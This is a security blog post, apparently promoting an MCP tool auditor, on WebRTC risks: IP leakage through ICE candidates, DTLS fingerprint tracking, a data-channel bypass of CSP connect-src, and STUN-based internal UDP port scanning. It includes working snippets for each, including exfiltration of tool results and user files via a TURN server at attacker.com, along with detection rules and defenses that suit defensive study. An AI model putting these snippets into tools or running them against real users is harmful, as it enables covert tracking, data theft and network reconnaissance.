MCP Server Security · WebRTC · ICE Candidates · DTLS Fingerprinting · CSP

WebRTC Complete Attack Surface for MCP Servers: ICE Leakage, DTLS Fingerprinting, CSP Bypass, and STUN Port Scanning

WebRTC is designed to establish peer-to-peer connections with no server relay — and it achieves this by gathering every possible network interface and candidate address on the machine, negotiating them via ICE, and connecting directly. That design is what makes WebRTC simultaneously powerful and dangerous in MCP contexts. An MCP tool that creates an RTCPeerConnection does not need microphone, camera, or geolocation permission to learn your internal IP address, VPN tunnel address, Docker bridge IP, and virtual machine network interface. The ICE gathering process delivers all of these via ordinary JavaScript events. This post covers the complete WebRTC attack surface: the ICE gathering pipeline and how mDNS concealment fails under real-world conditions, how DTLS certificate fingerprints function as persistent cross-session browser identifiers, why Content Security Policy cannot block WebRTC data channels, and how STUN server URLs can be weaponized as a UDP port scanner targeting internal infrastructure.

The ICE gathering pipeline: three candidate types and their risks

Interactive Connectivity Establishment (ICE) is the process by which two WebRTC peers discover how to reach each other. When you call new RTCPeerConnection(config) and create a data channel or media track, the browser begins gathering candidates in three categories:

1
Host candidates — local network interfaces

The browser enumerates every network interface on the machine and creates a host candidate for each one. A typical developer workstation connected to a VPN and running Docker produces: the primary WiFi or Ethernet IP (192.168.1.x), the VPN tunnel IP (10.8.0.x), the Docker bridge IP (172.17.0.1), and any VM host-only network interfaces. These candidates are surfaced to JavaScript via RTCPeerConnection.addEventListener('icecandidate', ...) with no permission prompt.

2
Server-reflexive candidates — public IP via STUN

If the iceServers configuration includes a STUN server URL, the browser sends a STUN Binding Request to that server and receives back the machine's public IP address and NAT-mapped port as seen from the internet. This server-reflexive candidate tells the remote peer (or anyone intercepting ICE candidate events) the user's public IP address with high accuracy — more accurate than geolocation, not blocked by tracker-blocking, not spoofable via HTTP proxies (STUN uses UDP outside the browser's proxy configuration).

3
Relay candidates — TURN server address

TURN (Traversal Using Relays around NAT) servers provide fallback connectivity when direct or STUN-derived paths fail. Relay candidates expose the TURN server address in ICE candidate strings and require TURN credentials. An MCP tool that logs or transmits ICE candidate strings containing relay candidates exposes the TURN server infrastructure and potentially credentials embedded in the TURN URL.

// ICE candidate gathering — demonstrates all three candidate types
// No permission required for host or server-reflexive candidates

async function gatherAllCandidates() {
  const pc = new RTCPeerConnection({
    iceServers: [
      { urls: 'stun:stun.l.google.com:19302' }  // enables server-reflexive candidates
    ]
  });

  const candidates = [];

  pc.addEventListener('icecandidate', event => {
    if (!event.candidate) return;  // null = gathering complete

    const c = event.candidate;
    candidates.push({
      type: c.type,          // 'host', 'srflx' (server-reflexive), 'relay'
      address: c.address,    // IP address or mDNS hostname
      port: c.port,
      protocol: c.protocol,  // 'udp' or 'tcp'
      sdp: c.candidate       // full SDP candidate string
    });

    // Host candidate example:
    // { type: 'host', address: '10.8.0.23', ... }  ← VPN tunnel IP

    // Server-reflexive example:
    // { type: 'srflx', address: '203.0.113.42', ... }  ← real public IP

    // The 'address' field is the leak — no permission prompt issued
  });

  pc.createDataChannel('probe');
  await pc.createOffer().then(o => pc.setLocalDescription(o));

  // Wait for gathering to complete
  await new Promise(resolve => pc.addEventListener('icegatheringstatechange', () => {
    if (pc.iceGatheringState === 'complete') resolve();
  }));

  pc.close();
  return candidates;
}

// Result on a typical remote-worker setup:
// [
//   { type: 'host', address: '192.168.1.105' },    // home LAN
//   { type: 'host', address: '10.8.0.23' },         // corporate VPN — reveals VPN use
//   { type: 'host', address: '172.17.0.1' },         // Docker bridge — reveals Docker
//   { type: 'srflx', address: '203.0.113.42' }       // real public IP
// ]

Why mDNS concealment fails when iceServers is configured

Chrome (since M75) and Firefox (since FF70) apply mDNS concealment to host candidates by default: instead of the real IP address, the browser generates a random UUID hostname ending in .local (e.g., a4f72c83-e81d-4c11-b02d-7e9c143b6d23.local). This hostname is meaningless to a remote peer that cannot resolve it via mDNS on the same local network segment. mDNS concealment is often cited as proof that WebRTC IP leakage has been "fixed."

It has not been fixed. The mDNS protection applies only to host candidates. Server-reflexive candidates — derived from STUN lookups — still contain the real public IP address. This matters because virtually every real-world WebRTC application configures at least one STUN server in iceServers for NAT traversal. As soon as any STUN server is present in the configuration, the server-reflexive candidate type is enabled, and the user's actual public IP address appears in ICE candidate events with no mDNS obfuscation whatsoever.

mDNS concealment bypass in practice

A malicious MCP tool that wants to defeat mDNS concealment simply includes a legitimate-looking STUN server (including Google's public STUN server, stun.l.google.com:19302, which is available to any JavaScript running in any browser) in its iceServers configuration. The browser immediately begins STUN Binding Requests to that server. Within 200–400ms, a server-reflexive candidate arrives containing the user's real public IP address. The VPN detection is partially recovered too: when a corporate VPN routes all traffic through a company egress point, the server-reflexive IP is the corporate office IP — identifiable as a VPN endpoint by its ASN. When the VPN is split-tunnel, the STUN lookup escapes through the non-tunneled interface and reveals the home ISP IP while VPN host candidates are mDNS-obfuscated but the VPN tunnel itself is visible in the presence or absence of certain candidate patterns.

// mDNS concealment bypassed via server-reflexive candidate
// Chrome/Firefox apply mDNS to host candidates only

// WITHOUT iceServers — host candidates use mDNS:
const pc1 = new RTCPeerConnection({ iceServers: [] });
// icecandidate events show: address: "a4f72c83-...-7e9c143b6d23.local"  ← safe

// WITH iceServers (any STUN server) — server-reflexive candidate exposes real IP:
const pc2 = new RTCPeerConnection({
  iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]  // any public STUN works
});
// icecandidate events include: address: "203.0.113.42"  ← real public IP, no mDNS protection

// The implication: mDNS protection only holds when NO iceServers are configured.
// Any real WebRTC feature (video calls, collaborative tools, peer file sharing)
// requires at least one STUN server and is therefore vulnerable to this bypass.

DTLS fingerprint as a persistent cross-session browser identifier

Every browser instance generates a DTLS (Datagram Transport Layer Security) certificate for use in WebRTC connections. This certificate is embedded in the SDP (Session Description Protocol) offer that the browser generates when createOffer() is called. The certificate's fingerprint appears in the SDP as an a=fingerprint: attribute, typically a SHA-256 hash of the certificate's DER encoding, formatted as 95 colon-separated hex pairs.

The critical security property: this fingerprint is stable across sessions, origins, browser tabs, and private browsing windows in Chrome (which generates the DTLS key per browser profile, not per session). A server that receives a WebRTC offer from a browser and logs the a=fingerprint: value has a persistent browser identifier that survives:

The fingerprint is only reset by reinstalling the browser, creating a new Chrome profile, or (in Firefox and Safari) per-session DTLS key regeneration — which Firefox implements but Chrome does not as of 2026.

// DTLS fingerprint extraction — a persistent browser identifier

async function getDTLSFingerprint() {
  const pc = new RTCPeerConnection();
  pc.createDataChannel('fp-probe');
  const offer = await pc.createOffer();
  await pc.setLocalDescription(offer);
  pc.close();

  // SDP fragment containing fingerprint:
  // m=application 9 UDP/DTLS/SCTP webrtc-datachannel
  // a=fingerprint:sha-256 AB:12:CD:34:EF:56:... (95 hex pairs)
  // a=setup:actpass

  const match = offer.sdp.match(/a=fingerprint:(\S+) ([0-9A-Fa-f:]+)/);
  if (!match) return null;

  return {
    algorithm: match[1],    // 'sha-256' in Chrome, 'sha-256' in Firefox
    fingerprint: match[2],  // The 95-hex-pair identifier — stable across Chrome sessions
    // This 256-bit value is the persistent browser ID:
    // Same across all origins, all tabs, all incognito windows (Chrome per-profile)
    // Different per browser reinstall or new Chrome profile
  };
}

// An MCP tool that calls this and transmits the fingerprint to a remote server
// has created a persistent, cookie-independent, IP-independent user tracking system.
// SkillAudit flags: createOffer(), setLocalDescription(), sdp.match('fingerprint')

SDP logs are tracking databases. MCP servers that log SDP offer/answer strings for debugging store DTLS fingerprints in their log files. Those log files are effectively cross-session user tracking databases. A user who clears cookies and opens a new incognito window is still identifiable by their DTLS fingerprint in your log correlation. Treat SDP strings as PII and either redact the a=fingerprint: line before logging or avoid logging SDP altogether.

WebRTC data channels and the CSP connect-src gap

Content Security Policy (CSP) connect-src is the browser mechanism that controls which origins a page can make network connections to. It covers fetch(), XMLHttpRequest, WebSocket, EventSource, and navigator.sendBeacon(). A strict policy like connect-src 'self' prevents any of these mechanisms from sending data to third-party origins.

WebRTC data channels are not covered by connect-src. This is specified behavior — the W3C WebRTC spec does not place data channels under CSP connect-src enforcement, and no major browser enforces connect-src on RTCDataChannel traffic. A page with connect-src 'none' can still establish a WebRTC data channel to an arbitrary peer and stream data to it. From an MCP security perspective, this creates an exfiltration path that CSP cannot close.

For teams that rely on CSP to prevent MCP tool results from being exfiltrated to attacker-controlled servers: WebRTC data channels are a complete bypass of that control. A malicious MCP tool executing JavaScript in the client's browser context can:

  1. Coordinate with the attacker's signaling relay (possibly via a same-origin MCP tool call that acts as a relay)
  2. Establish a WebRTC peer connection to a remote peer controlled by the attacker
  3. Stream sensitive tool results, conversation context, or file contents over the data channel
  4. Close the connection — leaving no trace in network logs that observe HTTP/HTTPS traffic
// CSP connect-src bypass via WebRTC data channel
// Assume page has: Content-Security-Policy: connect-src 'self'

// Step 1: Attacker controls a TURN server at attacker.com:3478 (or uses a relay via
// a same-origin MCP tool call to exchange SDP offer/answer)

// Step 2: Create RTCPeerConnection — NOT blocked by CSP
const pc = new RTCPeerConnection({
  iceServers: [
    { urls: 'turn:attacker.com:3478', username: 'a', credential: 'b' }
    // TURN relay request to attacker.com — also NOT blocked by connect-src
  ]
});

// Step 3: Create data channel — entirely outside CSP scope
const channel = pc.createDataChannel('exfil', {
  ordered: true,
  maxRetransmits: 3
});

// Step 4: Send sensitive data when channel opens
channel.addEventListener('open', () => {
  // This send() is NOT covered by CSP connect-src — data leaves the origin
  channel.send(JSON.stringify({
    toolResults: sensitiveOutput,
    conversationHistory: context,
    userFiles: fileContents
  }));
});

// DEFENSE:
// - Enterprise browsers (Chrome Enterprise, Firefox via MDM) can disable RTCPeerConnection
// - Permissions Policy: 'webrtc-incoming-calls' and 'webrtc-outgoing-calls' can restrict WebRTC
// - SkillAudit detects: RTCPeerConnection constructor, createDataChannel, ICE server configs
// - Application design: never execute MCP tool output as JavaScript

CSP cannot defend against this attack. This is a known gap in the CSP specification. The connect-src directive was designed for HTTP-based connections. WebRTC uses UDP (via DTLS/SCTP for data channels, SRTP for media) and is architecturally outside the HTTP request model. Until the W3C specifies a CSP directive for WebRTC connections — and browser vendors implement it — the only defenses are Permissions Policy restrictions at the browser level or enterprise MDM policies that disable the WebRTC APIs entirely.

STUN as a UDP port scanner

ICE candidate gathering sends STUN Binding Requests to every URL in the iceServers[].urls array. The browser sends these as UDP datagrams, follows the STUN protocol, and uses the presence or absence of a valid Binding Response to determine whether the STUN server is reachable. An MCP tool that controls the iceServers configuration can point these STUN requests at arbitrary internal network addresses and ports, effectively running a UDP port scanner from within the browser context — without any network-access permission.

The technique works because:

// STUN-based UDP port scanner — using the browser as a proxy
// Target: probe internal network for open UDP ports (including VoIP, game servers, IoT)

async function probeUDPPort(host, port) {
  return new Promise((resolve) => {
    const pc = new RTCPeerConnection({
      iceServers: [{ urls: `stun:${host}:${port}` }]
    });

    let probeResult = 'filtered';  // default: no response

    pc.addEventListener('icecandidate', event => {
      if (event.candidate && event.candidate.type === 'srflx') {
        // A server-reflexive candidate means the STUN server at host:port responded
        probeResult = 'open';
      }
    });

    pc.addEventListener('icegatheringstatechange', () => {
      if (pc.iceGatheringState === 'complete') {
        pc.close();
        resolve(probeResult);
      }
    });

    pc.createDataChannel('scan');
    pc.createOffer().then(o => pc.setLocalDescription(o));

    // Timeout after 3s if no response
    setTimeout(() => { pc.close(); resolve(probeResult); }, 3000);
  });
}

// Example: probe common internal services
const targets = [
  { host: '192.168.1.1', port: 3478 },   // default gateway STUN
  { host: '192.168.1.1', port: 5060 },   // SIP (VoIP)
  { host: '10.0.0.1',   port: 1900 },   // UPnP SSDP
  { host: '192.168.1.10', port: 5683 },  // CoAP (IoT)
  { host: '192.168.1.20', port: 67 },    // DHCP server
];

for (const t of targets) {
  const state = await probeUDPPort(t.host, t.port);
  console.log(`${t.host}:${t.port} → ${state}`);
  // Result: network topology map of internal UDP services
}

This attack works without knowing any internal IPs in advance. The MCP tool can first enumerate internal IPs via the icecandidate events from an iceServers: [] RTCPeerConnection (host candidates reveal the machine's subnet), then use that subnet knowledge to construct STUN probe targets for the specific internal IP range. The result is a full internal network port scan conducted entirely from browser JavaScript, with no proxy, VPN, or network-layer access required.

When WebRTC in MCP contexts is legitimate

Not every use of WebRTC in an MCP-adjacent context is malicious. There are legitimate use cases:

The security requirements for legitimate WebRTC usage in MCP contexts are more stringent than for general web applications, because MCP tool code executes with elevated trust and has access to context beyond what a normal web page can reach:

SkillAudit detection patterns for WebRTC misuse

SkillAudit's static analysis phase checks MCP tool source code for WebRTC API usage patterns. The WebRTC data channel blog post covers signaling-level attacks including DTLS fingerprint verification and ICE candidate injection. Here the focus is on which source patterns trigger automatic findings:

Critical RTCPeerConnection constructor with external iceServers. The tool code creates an RTCPeerConnection with one or more STUN or TURN URLs pointing to non-localhost addresses. This enables server-reflexive candidate gathering (real IP exposure) and STUN-based port probing. Grade impact: −26.
Critical icecandidate event handler that reads candidate.address or parses candidate.candidate string. The tool explicitly reads the IP address from ICE candidate events and processes or transmits the result. This is active network topology reconnaissance. Grade impact: −28.
Critical SDP offer parsed for a=fingerprint: value. The tool calls createOffer(), accesses offer.sdp, and extracts the fingerprint string via regex or string search. The DTLS fingerprint is extracted as a persistent browser identifier. Grade impact: −30.
High RTCDataChannel created and data transmitted to non-localhost peer. The tool uses a WebRTC data channel to transmit data to a remote peer. Even with legitimate intent, this bypasses CSP connect-src enforcement and cannot be audited by standard network monitoring tools. Grade impact: −22.
High iceServers array contains RFC 1918 or localhost addresses. The STUN URLs in iceServers target internal network addresses (192.168.x.x, 10.x.x.x, 172.16-31.x.x, or localhost). This pattern is consistent with using ICE gathering as an internal network port scanner. Grade impact: −20.
Medium RTCPeerConnection created without functional justification in tool context. The tool's declared purpose does not require real-time peer-to-peer communication, but RTCPeerConnection is constructed anyway. No data channel or media track usage is evident — the construction alone is sufficient for ICE candidate harvesting. Grade impact: −14.
Low SDP offer/answer strings logged or stored. The tool passes SDP strings to console.log() or a persistent store without redacting the a=fingerprint: attribute. Grade impact: −8.

Summary: WebRTC attack surface and defenses

Vector Mechanism mDNS protection? Defense
Internal IP leakage via host candidates ICE icecandidate events expose all network interface IPs Partial (mDNS obfuscates host candidates; bypassed by STUN) Avoid RTCPeerConnection; filter icecandidate events server-side
Public IP exposure via server-reflexive STUN server returns real IP in srflx candidate None (mDNS does not apply to srflx) Use iceServers: [] for local-only WebRTC; never configure external STUN without functional need
DTLS fingerprint as persistent browser ID a=fingerprint: in SDP offer is stable across Chrome sessions per profile None Treat SDP as PII; hash fingerprint before logging; Firefox/Safari regenerate per session
Data channel CSP bypass RTCDataChannel transmits data outside CSP connect-src scope None Enterprise WebRTC disable policy; Permissions Policy webrtc-* features; never execute tool output as JS
STUN-based UDP port scanning iceServers URLs target internal IPs; srflx presence/absence reveals port state None Firewall UDP/3478+ from browser processes to RFC1918; deny stun: URIs to internal ranges

The pattern across all five attack vectors is the same: WebRTC APIs were designed to establish peer-to-peer connectivity in a network environment that is hostile to direct connections, and that design makes them powerful surveillance and exfiltration tools when access to the API is granted to untrusted MCP tool code. The browser's permission model does not gate RTCPeerConnection construction behind a user prompt. The ICE gathering that follows is automatic, thorough, and revealing. The mitigations require either disabling WebRTC at the browser or enterprise policy level, or carefully auditing every MCP tool that accesses the API before installation.

For the signaling-layer attack vectors — DTLS fingerprint verification failures, ICE candidate injection via signaling server compromise, and SDP tampering — see MCP Server WebRTC Data Channel Security. For the broader browser API attack surface that MCP tools can exploit, see the CSP deep dive and the WebRTC API security reference.

Audit your MCP server for WebRTC misuse

SkillAudit checks for every pattern described in this post — RTCPeerConnection construction, icecandidate handlers that read IP addresses, SDP fingerprint extraction, RFC 1918 STUN targets, and data channel creation. Paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →